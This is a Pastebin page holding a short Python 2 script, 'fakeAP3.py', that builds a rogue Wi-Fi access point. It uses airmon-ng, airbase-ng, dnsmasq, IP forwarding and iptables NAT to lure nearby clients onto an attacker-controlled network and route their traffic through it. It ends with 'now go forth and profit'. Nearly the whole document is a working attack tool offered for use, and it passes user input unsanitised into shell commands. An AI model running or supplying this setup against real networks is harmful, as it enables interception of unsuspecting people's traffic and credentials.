Advertisement
opexxx

fakeAP3.py

Mar 21st, 2014
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.44 KB | None | 0 0
  1. #!/usr/bin/python
  2. '''
  3. Author: AWhiteHatter
  4. Contact: awhitehttr@gmail.com
  5. Description: Generates a Fake-AP
  6. Version: 0.0 "Getting to know the ropes"
  7. '''
  8. import os
  9.  
  10. print("\n********************************************\n" +
  11. "Fake-Ap3.py\n\n" +
  12. "You need to have the aircrack suite and dnsmasq installed.\n" +
  13. "Little error handling has been built, so don't mis-type!\n\n" +
  14. "********************************************\n")
  15.  
  16. starter = raw_input("Give me a starting DHCP address for this fake AP clients (e.g. 192.168.0.50)\n--> ")
  17. stopper = raw_input("Give me a stopping DHCP address (e.g. 192.168.0.150)\n--> ")
  18. coffee = raw_input("Should drone get Coffee for Beard everyday? y/n\n --> ")
  19. if (coffee == "y" or coffee == "n"):
  20.     if coffee == "y":
  21.         print "you're damn right..."
  22.     else:
  23.         print "That's not acceptable"
  24. else:
  25.     print "Enter y or n, this is serious!"
  26.     exit()
  27.  
  28. #Write DNSMasq Conf File
  29. f = open('dnsmasq.conf', 'w')
  30. f.write('interface=at0\n' +
  31. 'dhcp-range='+ starter + ',' + stopper + ',12h\n' +
  32. 'server=8.8.8.8\n' +
  33. 'server=8.8.4.4\n')
  34.  
  35. f.close()
  36.  
  37. #Now set up airbase-ng and your fake AP
  38. interface = raw_input("What wireless interface should be put into monitor mode? (e.g. wlan1 or wlan0)\n--> ")
  39. ssid = raw_input("What SSID do you want to broadcast at? \n--> ")
  40.  
  41. os.system('airmon-ng start ' + interface)
  42. print "Now launching \"airbase-ng --essid %s mon0\"" % ssid
  43. os.system('airbase-ng --essid %s mon0 &>/dev/null &' % ssid)
  44.  
  45. #Now Call DNSMASq to handle the DHCP for the connection
  46. os.system('dnsmasq -C dnsmasq.conf')
  47.  
  48. #Enable the at0 interface
  49. ip = starter.split('.')
  50. at_ip = ip[0] + '.' + ip[1] + '.' + ip[2] + '.1'
  51. os.system ('ifconfig at0 ' + at_ip + ' up netmask 255.255.255.0')
  52.  
  53. #Now set up IPv4 Forwarding
  54. print "Making sure IPv4 forwarding is enabled..."
  55. os.system('echo \'1\' > /proc/sys/net/ipv4/ip_forward')
  56.  
  57. #Now set up IPTables to be NAT
  58. print "almost done..."
  59. interwebz = raw_input("Enter the interface connected to the Interwebz (e.g. eth0)\n--> ")
  60. print "working some IPtables...I hate IPtables..."
  61. os.system('iptables --flush')
  62. os.system('iptables --table nat --flush')
  63. os.system('iptables --delete-chain')
  64. os.system('iptables --table nat --delete-chain')
  65. os.system('iptables --table nat --append POSTROUTING --out-interface %s -j MASQUERADE' % interwebz)
  66. os.system('iptables --append FORWARD --in-interface '+ interface +' -j ACCEPT')
  67.  
  68. print "%s should be broadcasting, now go forth and profit" % ssid
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement